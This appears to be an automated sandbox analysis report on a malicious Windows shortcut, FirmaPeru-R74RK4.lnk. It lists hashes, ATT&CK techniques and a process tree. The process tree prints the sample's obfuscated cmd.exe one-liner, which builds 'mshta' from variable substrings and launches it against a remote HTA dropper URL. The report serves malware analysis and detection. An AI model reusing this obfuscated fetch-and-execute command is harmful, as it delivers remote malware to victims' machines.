acb393a34a377e1305ea9c832ff75d52a8740366c4e69ea9448dd22e45fd104f

Analysis

max time kernel
38s
max time network
20s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 19:10

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General

Target
FirmaPeru-R74RK4.lnk
Size 2KB
Sample260803-xvvs2sed95
SHA256 acb393a34a377e1305ea9c832ff75d52a8740366c4e69ea9448dd22e45fd104f
MD5 a5254ce23626829334ad08c8b18091cc
SHA1 27a9075ab6abddd0d566456568ac2284cb3f21f8
SHA512 47065aa8ed36d45ee053c944f0dd0793cc2a0585f79de7655177658d27a0582a0c0124a8a15494ee6d47c30e2bb44a66bfd7f785cba436629b81e2fbfcf801ef
TLSH
T1EE4146812AE90188F2F78F7AECBDA78084A7FC516D32C78D0940928E1831740E573B36
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1288	cmd.exe
5376	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 5376	1288	cmd.exe	90
PID 5376 wrote to memory of 3872	5376	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-R74RK4.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1288
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set fr=1ysghp&&set MI=utarzm&&set BBZ=86gtbx&set SBKP=winbniqltuhmfbddwin&set np=gacmsh8y&&set rrGSV=ectakp5&set Xd=cfgbubqvmvcfg&set iY=dbgquniwvbeahtadbg&set tzt=sysjpbnepalsdawsulrnsys&set MMB=infdglfojdjmloejylnninf&set bYQ=sysfwpktgsys&set IFnd=logkddwqbhrtalog&set IoCk=winuynjzncfwin&set jtz=datvzvttmzvagffreldat&&set hKvi=ht@tp@s@:/@/m@-fir@ma.@l@at@/h/[email protected]@?r=@2@61@A6@CF54682&&start /b !np:~3,3!!rrGSV:~2,2! !hKvi:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5376
- - C:\Windows\System32\mshta.exe
    mshta https://m-firma.lat/h/estagio1.php?r=261A6CF54682
    3⤵
    PID:3872

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads